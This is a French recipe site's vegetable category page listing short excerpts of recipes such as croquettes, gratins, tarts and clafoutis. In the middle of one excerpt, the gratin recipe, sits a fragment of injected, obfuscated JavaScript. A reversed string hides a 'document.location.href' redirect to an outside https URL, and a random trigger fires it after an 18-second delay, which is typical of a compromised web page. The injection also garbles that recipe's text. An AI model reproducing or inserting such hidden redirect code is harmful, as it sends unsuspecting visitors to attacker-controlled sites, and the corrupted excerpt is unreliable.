Catégorie : Légumes
Croquettes à la Japonaise
Pelez, hachez l’oignon. Pelez, coupez en cubes les pommes de terre. Les plonger dans une ...
MA Lire la suiteGratin de légumes au bleu d’Auvergne avec des mangues et des cerneaux de noix
Pelez, coupez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les légumes en cubes. Les plonger ...
MA Lire la suiteTarte aux endives, pancetta et fromage filant
Dans un saladier mélangez avec le bout des doigts le beurre avec la farine, les ...
Christine Lire la suiteFlans d’aubergines au lait d’amande
Grattez les pieds des cèpes, essuyez-les avec un torchon. Hachez 300 g de cèpes restants. ...
Christine Lire la suiteSalade créole
Pelez, coupez en cubes les pommes de terre, et rincez-les. Plongez-les dans une eau bouillante ...
Christine Lire la suiteHaricots verts aux aromates
Equeutez les haricots verts. Plongez-les dans une eau bouillante salée en incorporant les oignons ciselés, l’ail ...
MA Lire la suiteTartelettes aux poireaux avec des raisins et au gorgonzola
Déroulez la pâte feuilletée sur un plan de travail. Abaissez la pâte dans 4 moules ...
Christine Lire la suiteFilets de rascasse aux légumes
Préparez le fenouil et ne garder que le cœur. Coupez-le en 3 dans le sens ...
Christine Lire la suiteOranges soufflées au gingembre confit
Retirez la calotte sur le dessus de chaque orange. Coupez-les en fines rondelles à la ...
Christine Lire la suiteClafoutis aux tomates cerises et aux mirabelles
Lavez, séchez les tomates cerises et les mirabelles dans un moule à manqué beurré; délayez ...
Christine Lire la suite